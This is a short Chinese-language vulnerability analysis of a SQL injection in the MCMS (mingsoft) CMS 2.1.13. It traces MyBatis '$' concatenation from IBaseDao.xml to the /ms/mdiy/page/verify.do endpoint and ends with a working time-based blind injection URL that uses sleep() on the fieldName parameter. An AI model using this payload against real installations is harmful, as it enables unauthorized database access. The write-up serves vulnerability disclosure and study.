代码拉取完成,页面将自动刷新
漏洞分析
因为使用了mybatis框架这里就全局搜使用$进行拼接的,发现在/net/mingsoft/ms-base/2.1.13/ms-base-2.1.13.jar!/net/mingsoft/base/dao/IBaseDao.xml
进一步跟进queryBySQL
查看对应接口中的实现方法
然后在/net/mingsoft/base/biz/impl/BaseBizImpl.java这里进行了重写queryBySQL,然后调用getDao().queryBySQL
然后发现在/net/mingsoft/basic/action/BaseAction.class#validated 验证的时候进行调用,
继续跟,这时候只要找到前端路由中能调用validated就可以了,然后发现在/net/mingsoft/ms-mdiy/2.1.13.1/ms-mdiy-2.1.13.1-sources.jar!/net/mingsoft/mdiy/action/PageAction.java#verify
调用了validated方法
漏洞复现
这里寻找路由,通过分析我们这个是个GetMapping 然后参数fieldName、fieldValue、id、idName 随便构造一下,最开始我们看到的key对应的就是前端传进来的fieldName
http://127.0.0.1:8008/ms/mdiy/page/verify.do?fieldName=11111&fieldValue=b&id=c&idName=1
http://127.0.0.1:8008/ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=b&id=c&idName=1